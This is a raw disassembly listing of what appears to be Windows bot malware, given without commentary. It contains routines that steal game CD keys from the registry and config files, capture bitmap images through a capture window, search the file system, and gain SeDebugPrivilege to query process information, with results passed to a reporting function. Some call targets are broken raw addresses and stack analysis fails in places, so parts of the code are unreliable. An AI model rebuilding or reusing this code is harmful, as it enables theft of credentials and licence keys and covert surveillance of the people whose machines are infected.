		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43F6B0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43F598
		mov	ebx, eax


loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 2640764h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2630000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop


loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		push	[ebp+arg_0]
		call	near ptr 26217F0h
		nop
		push	1
		pop	esi


loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43F5CC
		push	[ebp+var_4]
		call	dword_43F530
		mov	edi, [ebp+var_20]


loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43F530
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------


loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43F530
		push	[ebp+var_4]
		call	dword_43F530


loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax


loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------


loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------


loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax


loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856


loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4


loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------


loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx


loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h


loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h


loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43F6C4


loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43F6C4


loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43F718
		mov	eax, ebx


loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------


loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------


loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax


loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F


loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4


loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------


loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx


loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43F6C4


loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h


loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax


loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4


loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43F6C4


loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43F6C4


loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43F6C4


loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43F6C4


loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4


loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43F6C4


loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43F718
		mov	eax, ebx


loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+5889p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43F6D8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43F574
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax


loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------


loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------


loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]


loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h


loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------


loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43F644
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi


loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2


loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E


loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jnz	short loc_408F31


loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 2680456h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028


loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jnz	short loc_408FD9


loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		call	near ptr 2680456h
		nop
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5235o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26F0000h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43F314, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43F308, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43F518, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43F310, eax
		call	esi
		mov	dword_43F30C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_43E308
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43EB08
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43F520
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------


loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539


loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43F520, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------


loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------


loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706


loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80


loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26D07D8h
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------


loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C


loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h


loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
